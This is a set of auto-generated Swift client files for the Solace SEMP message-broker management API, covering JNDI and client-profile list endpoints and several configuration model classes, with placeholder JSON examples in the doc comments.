// https://github.com/swagger-api/swagger-codegen
//
import Alamofire
public class JndiAPI: APIBase {
/**
Gets a list of JNDI Connection Factory objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnJndiConnectionFactories(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnJndiConnectionFactoriesResponse?, error: ErrorType?) -> Void)) {
getMsgVpnJndiConnectionFactoriesWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of JNDI Connection Factory objects.
- GET /msgVpns/{msgVpnName}/jndiConnectionFactories
- Gets a list of JNDI Connection Factory objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: connectionFactoryName|x|| msgVpnName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.2.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"messagingDefaultDeliveryMode" : "persistent",
"connectionFactoryName" : "connectionFactoryName",
"guaranteedReceiveAckTimeout" : 1,
"transportReadTimeout" : 1,
"transportReconnectRetryCount" : 7,
"dtoReceiveSubscriberNetworkPriority" : 6,
"messagingDefaultElidingEligibleEnabled" : true,
"transportDirectTransportEnabled" : true,
"transportReconnectRetryWait" : 1,
"clientDescription" : "clientDescription",
"guaranteedReceiveWindowSize" : 5,
"dtoReceiveSubscriberLocalPriority" : 0,
"transportCompressionLevel" : 9,
"transportConnectRetryPerHostCount" : 2,
"guaranteedSendAckTimeout" : 2,
"transportReceiveBufferSize" : 6,
"msgVpnName" : "msgVpnName",
"transportKeepaliveEnabled" : true,
"allowDuplicateClientIdEnabled" : true,
"transportPort" : 1,
"transportConnectRetryCount" : 3,
"transportConnectTimeout" : 4,
"dynamicEndpointCreateDurableEnabled" : true,
"clientId" : "clientId",
"messagingJmsxUserIdEnabled" : true,
"guaranteedReceiveWindowSizeAckThreshold" : 5,
"dynamicEndpointRespectTtlEnabled" : true,
"messagingTextInXmlPayloadEnabled" : true,
"guaranteedSendWindowSize" : 7,
"transportKeepaliveInterval" : 1,
"transportOptimizeDirectEnabled" : true,
"transportTcpNoDelayEnabled" : true,
"transportSendBufferSize" : 4,
"transportKeepaliveCount" : 7,
"xaEnabled" : true,
"dtoSendEnabled" : true,
"messagingDefaultDmqEligibleEnabled" : true,
"dtoReceiveOverrideEnabled" : true,
"transportMsgCallbackOnIoThreadEnabled" : true
}, {
"messagingDefaultDeliveryMode" : "persistent",
"connectionFactoryName" : "connectionFactoryName",
"guaranteedReceiveAckTimeout" : 1,
"transportReadTimeout" : 1,
"transportReconnectRetryCount" : 7,
"dtoReceiveSubscriberNetworkPriority" : 6,
"messagingDefaultElidingEligibleEnabled" : true,
"transportDirectTransportEnabled" : true,
"transportReconnectRetryWait" : 1,
"clientDescription" : "clientDescription",
"guaranteedReceiveWindowSize" : 5,
"dtoReceiveSubscriberLocalPriority" : 0,
"transportCompressionLevel" : 9,
"transportConnectRetryPerHostCount" : 2,
"guaranteedSendAckTimeout" : 2,
"transportReceiveBufferSize" : 6,
"msgVpnName" : "msgVpnName",
"transportKeepaliveEnabled" : true,
"allowDuplicateClientIdEnabled" : true,
"transportPort" : 1,
"transportConnectRetryCount" : 3,
"transportConnectTimeout" : 4,
"dynamicEndpointCreateDurableEnabled" : true,
"clientId" : "clientId",
"messagingJmsxUserIdEnabled" : true,
"guaranteedReceiveWindowSizeAckThreshold" : 5,
"dynamicEndpointRespectTtlEnabled" : true,
"messagingTextInXmlPayloadEnabled" : true,
"guaranteedSendWindowSize" : 7,
"transportKeepaliveInterval" : 1,
"transportOptimizeDirectEnabled" : true,
"transportTcpNoDelayEnabled" : true,
"transportSendBufferSize" : 4,
"transportKeepaliveCount" : 7,
"xaEnabled" : true,
"dtoSendEnabled" : true,
"messagingDefaultDmqEligibleEnabled" : true,
"dtoReceiveOverrideEnabled" : true,
"transportMsgCallbackOnIoThreadEnabled" : true
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnJndiConnectionFactoriesResponse>
*/
public class func getMsgVpnJndiConnectionFactoriesWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnJndiConnectionFactoriesResponse> {
var path = "/msgVpns/{msgVpnName}/jndiConnectionFactories"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnJndiConnectionFactoriesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of JNDI Queue objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnJndiQueues(msgVpnName msgVpnName: String, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnJndiQueuesResponse?, error: ErrorType?) -> Void)) {
getMsgVpnJndiQueuesWithRequestBuilder(msgVpnName: msgVpnName, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of JNDI Queue objects.
- GET /msgVpns/{msgVpnName}/jndiQueues
- Gets a list of JNDI Queue objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: msgVpnName|x|| queueName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.2.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"queueName" : "queueName",
"physicalName" : "physicalName",
"msgVpnName" : "msgVpnName"
}, {
"queueName" : "queueName",
"physicalName" : "physicalName",
"msgVpnName" : "msgVpnName"
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnJndiQueuesResponse>
*/
public class func getMsgVpnJndiQueuesWithRequestBuilder(msgVpnName msgVpnName: String, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnJndiQueuesResponse> {
var path = "/msgVpns/{msgVpnName}/jndiQueues"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnJndiQueuesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of JNDI Topic objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnJndiTopics(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnJndiTopicsResponse?, error: ErrorType?) -> Void)) {
getMsgVpnJndiTopicsWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of JNDI Topic objects.
- GET /msgVpns/{msgVpnName}/jndiTopics
- Gets a list of JNDI Topic objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: msgVpnName|x|| topicName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.2.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"physicalName" : "physicalName",
"topicName" : "topicName",
"msgVpnName" : "msgVpnName"
}, {
"physicalName" : "physicalName",
"topicName" : "topicName",
"msgVpnName" : "msgVpnName"
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnJndiTopicsResponse>
*/
public class func getMsgVpnJndiTopicsWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnJndiTopicsResponse> {
var path = "/msgVpns/{msgVpnName}/jndiTopics"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnJndiTopicsResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/APIs/ClientProfileAPI.swift
//
// ClientProfileAPI.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Alamofire
public class ClientProfileAPI: APIBase {
/**
Gets a list of Client Profile objects.
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnClientProfiles(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnClientProfilesResponse?, error: ErrorType?) -> Void)) {
getMsgVpnClientProfilesWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of Client Profile objects.
- GET /msgVpns/{msgVpnName}/clientProfiles
- Gets a list of Client Profile objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: clientProfileName|x|| msgVpnName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"apiTopicEndpointManagementCopyFromOnCreateName" : "apiTopicEndpointManagementCopyFromOnCreateName",
"compressionEnabled" : true,
"tcpMaxWindowSize" : 6,
"clientProfileName" : "clientProfileName",
"eventTransactionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tcpMaxSegmentSize" : 2,
"queueDirect2MaxDepth" : 6,
"msgVpnName" : "msgVpnName",
"eventClientProvisionedEndpointSpoolUsageThreshold" : {
"clearPercent" : 1,
"setPercent" : 5
},
"eventEgressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueDirect3MinMsgBurst" : 4,
"elidingDelay" : 0,
"eventServiceWebConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueControl1MinMsgBurst" : 1,
"serviceWebMaxPayload" : 9,
"eventTransactedSessionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"eventSubscriptionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tlsAllowDowngradeToPlainTextEnabled" : true,
"tcpKeepaliveIdleTime" : 6,
"maxEndpointCountPerClientUsername" : 7,
"queueDirect2MinMsgBurst" : 7,
"queueGuaranteed1MinMsgBurst" : 9,
"queueDirect1MaxDepth" : 1,
"eventServiceSmfConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tcpCongestionWindowSize" : 6,
"eventEndpointCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueDirect3MaxDepth" : 1,
"allowBridgeConnectionsEnabled" : true,
"allowTransactedSessionsEnabled" : true,
"serviceSmfMaxConnectionCountPerClientUsername" : 9,
"allowGuaranteedMsgSendEnabled" : true,
"queueDirect1MinMsgBurst" : 1,
"queueGuaranteed1MaxDepth" : 5,
"serviceWebInactiveTimeout" : 6,
"allowGuaranteedMsgReceiveEnabled" : true,
"tcpKeepaliveCount" : 3,
"maxTransactionCount" : 4,
"maxSubscriptionCount" : 3,
"eventConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"elidingMaxTopicCount" : 6,
"queueControl1MaxDepth" : 7,
"tcpKeepaliveInterval" : 1,
"elidingEnabled" : true,
"maxIngressFlowCount" : 9,
"replicationAllowClientConnectWhenStandbyEnabled" : true,
"maxEgressFlowCount" : 2,
"maxTransactedSessionCount" : 2,
"rejectMsgToSenderOnNoSubscriptionMatchEnabled" : true,
"serviceWebMaxConnectionCountPerClientUsername" : 8,
"allowGuaranteedEndpointCreateEnabled" : true,
"allowCutThroughForwardingEnabled" : true,
"apiQueueManagementCopyFromOnCreateName" : "apiQueueManagementCopyFromOnCreateName",
"maxConnectionCountPerClientUsername" : 5,
"eventIngressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
}
}, {
"apiTopicEndpointManagementCopyFromOnCreateName" : "apiTopicEndpointManagementCopyFromOnCreateName",
"compressionEnabled" : true,
"tcpMaxWindowSize" : 6,
"clientProfileName" : "clientProfileName",
"eventTransactionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tcpMaxSegmentSize" : 2,
"queueDirect2MaxDepth" : 6,
"msgVpnName" : "msgVpnName",
"eventClientProvisionedEndpointSpoolUsageThreshold" : {
"clearPercent" : 1,
"setPercent" : 5
},
"eventEgressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueDirect3MinMsgBurst" : 4,
"elidingDelay" : 0,
"eventServiceWebConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueControl1MinMsgBurst" : 1,
"serviceWebMaxPayload" : 9,
"eventTransactedSessionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"eventSubscriptionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tlsAllowDowngradeToPlainTextEnabled" : true,
"tcpKeepaliveIdleTime" : 6,
"maxEndpointCountPerClientUsername" : 7,
"queueDirect2MinMsgBurst" : 7,
"queueGuaranteed1MinMsgBurst" : 9,
"queueDirect1MaxDepth" : 1,
"eventServiceSmfConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"tcpCongestionWindowSize" : 6,
"eventEndpointCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"queueDirect3MaxDepth" : 1,
"allowBridgeConnectionsEnabled" : true,
"allowTransactedSessionsEnabled" : true,
"serviceSmfMaxConnectionCountPerClientUsername" : 9,
"allowGuaranteedMsgSendEnabled" : true,
"queueDirect1MinMsgBurst" : 1,
"queueGuaranteed1MaxDepth" : 5,
"serviceWebInactiveTimeout" : 6,
"allowGuaranteedMsgReceiveEnabled" : true,
"tcpKeepaliveCount" : 3,
"maxTransactionCount" : 4,
"maxSubscriptionCount" : 3,
"eventConnectionCountPerClientUsernameThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"elidingMaxTopicCount" : 6,
"queueControl1MaxDepth" : 7,
"tcpKeepaliveInterval" : 1,
"elidingEnabled" : true,
"maxIngressFlowCount" : 9,
"replicationAllowClientConnectWhenStandbyEnabled" : true,
"maxEgressFlowCount" : 2,
"maxTransactedSessionCount" : 2,
"rejectMsgToSenderOnNoSubscriptionMatchEnabled" : true,
"serviceWebMaxConnectionCountPerClientUsername" : 8,
"allowGuaranteedEndpointCreateEnabled" : true,
"allowCutThroughForwardingEnabled" : true,
"apiQueueManagementCopyFromOnCreateName" : "apiQueueManagementCopyFromOnCreateName",
"maxConnectionCountPerClientUsername" : 5,
"eventIngressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
}
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnClientProfilesResponse>
*/
public class func getMsgVpnClientProfilesWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnClientProfilesResponse> {
var path = "/msgVpns/{msgVpnName}/clientProfiles"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnClientProfilesResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnRestDeliveryPointRestConsumer.swift
//
// MsgVpnRestDeliveryPointRestConsumer.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnRestDeliveryPointRestConsumer: JSONEncodable {
public enum AuthenticationScheme: String {
case None = "none"
case HttpBasic = "http-basic"
case ClientCertificate = "client-certificate"
}
/** The PEM formatted content for the client certificate that the REST Consumer will present to the REST host. It must consist of a private key and between one and three certificates comprising the certificate trust chain. The default value is `\"\"`. Available since 2.9. */
public var authenticationClientCertContent: String?
/** The password for the client certificate that the REST Consumer will present to the REST host. The default value is `\"\"`. Available since 2.9. */
public var authenticationClientCertPassword: String?
/** The password that the REST Consumer will use to login to the REST host. The default value is `\"\"`. */
public var authenticationHttpBasicPassword: String?
/** The username that the REST Consumer will use to login to the REST host. Normally a username is only configured when basic authentication is selected for the REST Consumer. The default value is `\"\"`. */
public var authenticationHttpBasicUsername: String?
/** The authentication scheme used by the REST Consumer to login to the REST host. The default value is `\"none\"`. The allowed values and their meaning are: <pre> \"none\" - Login with no authentication. This may be useful for anonymous connections or when a REST Consumer does not require authentication. \"http-basic\" - Login with a username and optional password according to HTTP Basic authentication as per RFC2616. \"client-certificate\" - Login with a client TLS certificate as per RFC5246. Client certificate authentication is only available on TLS connections. </pre> */
public var authenticationScheme: AuthenticationScheme?
/** Enable or disable the REST Consumer. When disabled, no connections are initiated or messages delivered to this particular REST Consumer. The default value is `false`. */
public var enabled: Bool?
/** The interface that will be used for all outgoing connections associated with the REST Consumer. When unspecified, an interface is automatically chosen. The default value is `\"\"`. */
public var localInterface: String?
/** The maximum amount of time (in seconds) to wait for an HTTP POST response from the REST Consumer. Once this time is exceeded, the TCP connection is reset. If the POST request is for a direct message, then the message is discarded. If for a persistent message, then message redelivery is attempted on another available outgoing connection for the REST Delivery Point. The default value is `30`. */
public var maxPostWaitTime: Int32?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The total number of concurrent TCP connections open to the REST Consumer. Multiple connections to a single REST Consumer increase throughput via concurrency. The default value is `3`. */
public var outgoingConnectionCount: Int32?
/** The IP address or DNS name to which the router is to connect to deliver messages for this REST Consumer. If the REST Consumer is enabled while the host value is not configured then the REST Consumer has an operational Down state due to the empty host configuration until a usable host value is configured. The default value is `\"\"`. */
public var remoteHost: String?
/** The port associated with the host of the REST Consumer. The port can only be changed when the REST Consumer is disabled. The default value is `8080`. */
public var remotePort: Int64?
/** The name of the REST Consumer. */
public var restConsumerName: String?
/** The name of the REST Delivery Point. */
public var restDeliveryPointName: String?
/** The number of seconds that must pass before retrying the remote REST Consumer connection. The default value is `3`. */
public var retryDelay: Int32?
/** The colon-separated list of cipher-suites the REST Consumer uses in its encrypted connection. All supported suites are included by default, from most-secure to least-secure. The REST Consumer should choose the first suite from this list that it supports. The cipher-suite list can only be changed when the REST Consumer is disabled. The default value is `\"default\"`. */
public var tlsCipherSuiteList: String?
/** Enable or disable TLS for the REST Consumer. This may only be done when the REST Consumer is disabled. The default value is `false`. */
public var tlsEnabled: Bool?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["authenticationClientCertContent"] = self.authenticationClientCertContent
nillableDictionary["authenticationClientCertPassword"] = <PASSWORD>
nillableDictionary["authenticationHttpBasicPassword"] = <PASSWORD>HttpBasic<PASSWORD>
nillableDictionary["authenticationHttpBasicUsername"] = self.authenticationHttpBasicUsername
nillableDictionary["authenticationScheme"] = self.authenticationScheme?.rawValue
nillableDictionary["enabled"] = self.enabled
nillableDictionary["localInterface"] = self.localInterface
nillableDictionary["maxPostWaitTime"] = self.maxPostWaitTime?.encodeToJSON()
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["outgoingConnectionCount"] = self.outgoingConnectionCount?.encodeToJSON()
nillableDictionary["remoteHost"] = self.remoteHost
nillableDictionary["remotePort"] = self.remotePort?.encodeToJSON()
nillableDictionary["restConsumerName"] = self.restConsumerName
nillableDictionary["restDeliveryPointName"] = self.restDeliveryPointName
nillableDictionary["retryDelay"] = self.retryDelay?.encodeToJSON()
nillableDictionary["tlsCipherSuiteList"] = self.tlsCipherSuiteList
nillableDictionary["tlsEnabled"] = self.tlsEnabled
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnAclProfile.swift
//
// MsgVpnAclProfile.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnAclProfile: JSONEncodable {
public enum ClientConnectDefaultAction: String {
case Allow = "allow"
case Disallow = "disallow"
}
public enum PublishTopicDefaultAction: String {
case Allow = "allow"
case Disallow = "disallow"
}
public enum SubscribeTopicDefaultAction: String {
case Allow = "allow"
case Disallow = "disallow"
}
/** The name of the ACL Profile. */
public var aclProfileName: String?
/** The default action when a Client connects to the Message VPN. The default value is `\"disallow\"`. The allowed values and their meaning are: <pre> \"allow\" - Allow client connection unless an exception is found for it. \"disallow\" - Disallow client connection unless an exception is found for it. </pre> */
public var clientConnectDefaultAction: ClientConnectDefaultAction?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The default action to take when a Client publishes to a Topic in the Message VPN. The default value is `\"disallow\"`. The allowed values and their meaning are: <pre> \"allow\" - Allow topic unless an exception is found for it. \"disallow\" - Disallow topic unless an exception is found for it. </pre> */
public var publishTopicDefaultAction: PublishTopicDefaultAction?
/** The default action to take when a Client subscribes to a Topic. The default value is `\"disallow\"`. The allowed values and their meaning are: <pre> \"allow\" - Allow topic unless an exception is found for it. \"disallow\" - Disallow topic unless an exception is found for it. </pre> */
public var subscribeTopicDefaultAction: SubscribeTopicDefaultAction?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["aclProfileName"] = self.aclProfileName
nillableDictionary["clientConnectDefaultAction"] = self.clientConnectDefaultAction?.rawValue
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["publishTopicDefaultAction"] = self.publishTopicDefaultAction?.rawValue
nillableDictionary["subscribeTopicDefaultAction"] = self.subscribeTopicDefaultAction?.rawValue
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/SempMeta.swift
//
// SempMeta.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class SempMeta: JSONEncodable {
public var error: SempError?
public var paging: SempPaging?
public var request: SempRequest?
/** The HTTP response code, one of 200 (success), 4xx (client error), or 5xx (server error). */
